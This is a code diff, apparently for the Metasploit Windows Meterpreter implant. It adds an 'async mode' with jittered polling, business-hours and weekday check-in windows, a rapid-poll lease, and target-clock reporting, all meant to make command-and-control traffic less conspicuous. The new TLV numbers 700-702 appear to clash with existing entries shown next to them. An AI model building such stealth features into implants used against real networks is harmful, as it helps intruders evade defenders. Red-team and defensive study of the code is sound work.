Async Mode Windows Meterpreter

c/meterpreter/source/common/common_command_ids.h

@@ -56,6 +56,9 @@
 #define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
 #define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
 #define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34
+#define COMMAND_ID_CORE_ASYNC_MODE 35
+#define COMMAND_ID_CORE_GET_TARGET_TIME 36
+#define COMMAND_ID_CORE_ASYNC_LEASE 37
 #define COMMAND_ID_STDAPI_FS_CHDIR 1001
 #define COMMAND_ID_STDAPI_FS_CHMOD 1002
 #define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003

c/meterpreter/source/common/common_core.h

@@ -179,6 +179,18 @@ typedef enum
 	TLV_TYPE_PIVOT_STAGE_DATA      = TLV_VALUE(TLV_META_TYPE_RAW,     651),   ///! Represents the data to be staged on new connections.
 	TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING,  653),   ///! Represents named pipe name.
 
+	// Async mode
+	TLV_TYPE_ASYNC_ENABLED         = TLV_VALUE(TLV_META_TYPE_BOOL,    700),   ///! Enable/disable async mode.
+	TLV_TYPE_ASYNC_POLL_INTERVAL   = TLV_VALUE(TLV_META_TYPE_UINT,    701),   ///! Seconds between check-ins.
+	TLV_TYPE_ASYNC_POLL_JITTER     = TLV_VALUE(TLV_META_TYPE_UINT,    702),   ///! Jitter percentage 0-99.
+	TLV_TYPE_ASYNC_WORK_START      = TLV_VALUE(TLV_META_TYPE_UINT,    703),   ///! Business hours start (0-23).
+	TLV_TYPE_ASYNC_WORK_END        = TLV_VALUE(TLV_META_TYPE_UINT,    704),   ///! Business hours end (0-24).
+	TLV_TYPE_ASYNC_WORK_DAYS       = TLV_VALUE(TLV_META_TYPE_UINT,    705),   ///! Bitmask of active days (bit0=Sun..bit6=Sat).
+	TLV_TYPE_TARGET_UNIX_TS        = TLV_VALUE(TLV_META_TYPE_QWORD,   707),   ///! Target UTC seconds since Unix epoch.
+	TLV_TYPE_TARGET_LOCAL_UNIX_TS  = TLV_VALUE(TLV_META_TYPE_QWORD,   708),   ///! Target local wall-clock seconds as UTC.
+	TLV_TYPE_ASYNC_LEASE_ENABLED   = TLV_VALUE(TLV_META_TYPE_BOOL,    709),   ///! Enable or release a rapid-poll job lease.
+	TLV_TYPE_ASYNC_LEASE_TTL       = TLV_VALUE(TLV_META_TYPE_UINT,    710),   ///! Job lease expiry timeout in seconds.
+
 	TLV_TYPE_SESSION_EXPIRY        = TLV_VALUE(TLV_META_TYPE_UINT,    700),   ///! Session expiration time
 	TLV_TYPE_EXITFUNC              = TLV_VALUE(TLV_META_TYPE_UINT,    701),   ///! identifier of the exit function to use
 	TLV_TYPE_DEBUG_LOG             = TLV_VALUE(TLV_META_TYPE_STRING,  702),   ///! path to write debug log

c/meterpreter/source/common/common_remote.h

@@ -121,6 +121,17 @@ typedef struct _HttpTransportContext
 
 	BOOL move_to_wininet;                 ///! If set, winhttp is busted, and we need to move to wininet.
 
+	BOOL async_mode;                      ///! Flag indicating whether async mode is enabled.
+	UINT async_poll_interval;             ///! Seconds between poll check-ins in async mode.
+	UINT async_poll_jitter;               ///! Jitter percentage (0-99) applied to poll interval.
+	UINT async_work_start;                ///! Business hours start hour (0-23).
+	UINT async_work_end;                  ///! Business hours end hour (0-23).
+	UINT async_work_days;                 ///! Bitmask of active days (bit0=Sun..bit6=Sat).
+	BOOL async_lease_active;              ///! Whether a controller-owned rapid-poll lease is active.
+	UINT async_lease_ttl;                 ///! Lease renewal timeout in seconds.
+	DWORD async_lease_deadline_ticks;     ///! Monotonic lease expiry deadline.
+	HANDLE async_wake_event;              ///! Event signaled to interrupt async sleep early.
+
 	PCreateHttpRequest create_req;        ///! WinHTTP/WinINET specific request creation.
 	PSendHttpRequest send_req;            ///! WinHTTP/WinINET specifc request sending.
 	PCloseRequest close_req;              ///! WinHTTP/WinINET specifc request closing.
@@ -196,6 +207,8 @@ typedef struct _Remote
 	PivotTree* pivot_listeners;           ///! Collection of active Meterpreter pivot listeners.
 
 	PacketEncryptionContext* enc_ctx;     ///! Reference to the packet encryption context.
+
+	BOOL async_mode;                      ///! When TRUE, command_handle processes commands inline.
 } Remote;
 
 #endif

c/meterpreter/source/metsrv/core.c

@@ -9,6 +9,8 @@
 #include <windows.h>
 #include <winhttp.h>
 #include "metsrv.h"
+
+extern BOOL async_lease_is_active(HttpTransportContext* ctx);
 #include "common_exports.h"
 #include "packet_encryption.h"
 
@@ -1422,6 +1424,27 @@ DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res)
 	return packet_transmit_response(res, remote, response);
 }
 
+VOID packet_add_target_time(Packet* response)
+{
+	SYSTEMTIME localTime;
+	FILETIME utcFileTime;
+	FILETIME localFileTime;
+	ULARGE_INTEGER utcTicks;
+	ULARGE_INTEGER localTicks;
+	const QWORD unixEpochTicks = 116444736000000000ULL;
+
+	GetSystemTimeAsFileTime(&utcFileTime);
+	GetLocalTime(&localTime);
+	SystemTimeToFileTime(&localTime, &localFileTime);
+
+	utcTicks.LowPart = utcFileTime.dwLowDateTime;
+	utcTicks.HighPart = utcFileTime.dwHighDateTime;
+	localTicks.LowPart = localFileTime.dwLowDateTime;
+	localTicks.HighPart = localFileTime.dwHighDateTime;
+	packet_add_tlv_qword(response, TLV_TYPE_TARGET_UNIX_TS, (utcTicks.QuadPart - unixEpochTicks) / 10000000ULL);
+	packet_add_tlv_qword(response, TLV_TYPE_TARGET_LOCAL_UNIX_TS, (localTicks.QuadPart - unixEpochTicks) / 10000000ULL);
+}
+
 /*!
  * @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present.
  * @param result The result to be sent.
@@ -1432,6 +1455,20 @@ DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response)
 {
 	if (response)
 	{
+		Tlv targetTime = { 0 };
+		Tlv asyncLease = { 0 };
+		if (remote != NULL && remote->async_mode && packet_get_tlv(response, TLV_TYPE_TARGET_UNIX_TS, &targetTime) != ERROR_SUCCESS)
+		{
+			packet_add_target_time(response);
+		}
+		if (remote != NULL && remote->async_mode && packet_get_tlv(response, TLV_TYPE_ASYNC_LEASE_ENABLED, &asyncLease) != ERROR_SUCCESS)
+		{
+			BOOL leaseActive = remote->transport != NULL
+				&& (remote->transport->type & METERPRETER_TRANSPORT_HTTP)
+				&& async_lease_is_active((HttpTransportContext*)remote->transport->ctx);
+			packet_add_tlv_bool(response, TLV_TYPE_ASYNC_LEASE_ENABLED, leaseActive);
+		}
+
 		packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
 		return packet_transmit(remote, response, NULL);
 	}

c/meterpreter/source/metsrv/core.h

@@ -62,6 +62,7 @@ DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...);
  * Packet transmission
  */
 DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response);
+VOID packet_add_target_time(Packet* response);
 DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
 DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
 DWORD packet_add_request_id(Packet* packet);